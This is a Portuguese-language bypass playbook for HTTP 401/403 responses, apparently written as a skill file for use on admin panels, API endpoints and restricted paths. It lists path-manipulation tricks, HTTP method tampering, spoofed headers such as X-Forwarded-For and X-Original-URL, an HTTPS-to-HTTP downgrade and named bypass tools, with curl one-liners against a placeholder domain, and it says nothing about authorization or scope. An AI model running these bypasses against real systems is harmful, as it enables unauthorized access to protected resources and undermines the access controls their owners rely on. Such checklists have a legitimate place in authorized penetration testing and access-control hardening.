O que 401-403-bypass-techniques faz?
Manual de bypass de 401/403. Use ao encontrar respostas de acesso negado em painéis administrativos, endpoints de API ou caminhos restritos. Abrange manipulação de caminhos, adulteração de métodos HTTP, injeção de cabeçalhos, downgrade de protocolo e ferramentas automatizadas de bypass.
Técnicas de Bypass
1. Manipulação de Caminhos
- Adicionar
/no final:https://exemplo.com/admin/ - Usar
.no caminho:https://exemplo.com/./admin/ - Usar
..no caminho:https://exemplo.com/../admin/ - Codificação de URL:
https://exemplo.com/%61dmin/(codifica 'a' como %61) - Adicionar
?no final:https://exemplo.com/admin? - Adicionar
#no final:https://exemplo.com/admin# - Usar
%20ou%09no caminho:https://exemplo.com/admin%20/
2. Adulteração de Métodos HTTP
- Usar
PUT:curl -X PUT https://exemplo.com/admin/ - Usar
PATCH:curl -X PATCH https://exemplo.com/admin/ - Usar
OPTIONS:curl -X OPTIONS https://exemplo.com/admin/ - Usar
HEAD:curl -X HEAD https://exemplo.com/admin/ - Usar
CONNECT:curl -X CONNECT https://exemplo.com/admin/ - Usar
TRACE:curl -X TRACE https://exemplo.com/admin/
3. Injeção de Cabeçalhos
X-Forwarded-For: 127.0.0.1(falsificar IP local)X-Forwarded-Host: localhost(falsificar host local)X-Original-URL: /admin/(reescrever URL original)X-Rewrite-URL: /admin/(reescrever URL)X-Custom-IP-Authorization: 127.0.0.1(autorização IP personalizada)X-Real-IP: 127.0.0.1(IP real)X-Client-IP: 127.0.0.1(IP do cliente)Referer: https://exemplo.com/admin/(falsificar referenciador)User-Agent: Mozilla/5.0(agente de usuário comum)
4. Downgrade de Protocolo
- Trocar
https://porhttp:// - Exemplo:
curl http://exemplo.com/admin/
5. Ferramentas Automatizadas
- 403bypasser: Script Python para bypass automatizado
- bypass-403: Script bash para bypass
- 403-bypass: Script python
Lista de Verificação Rápida
- Adicionar
/no final - Usar
%2eno caminho - Mudar método HTTP
- Adicionar cabeçalho
X-Forwarded-For - Adicionar cabeçalho
X-Original-URL - Trocar para
HTTP - Rodar ferramenta automatizada
Exemplo de Uso com curl
# Bypass básico com cabeçalho X-Original-URL
curl -H 'X-Original-URL: /admin/' https://exemplo.com/
# Bypass com método PUT
curl -X PUT https://exemplo.com/admin/
# Bypass com caminho manipulado
curl https://exemplo.com/./admin/
# Bypass com IP falsificado
curl -H 'X-Forwarded-For: 127.0.0.1' https://exemplo.com/admin/
# Bypass com downgrade de protocolo
curl http://exemplo.com/admin/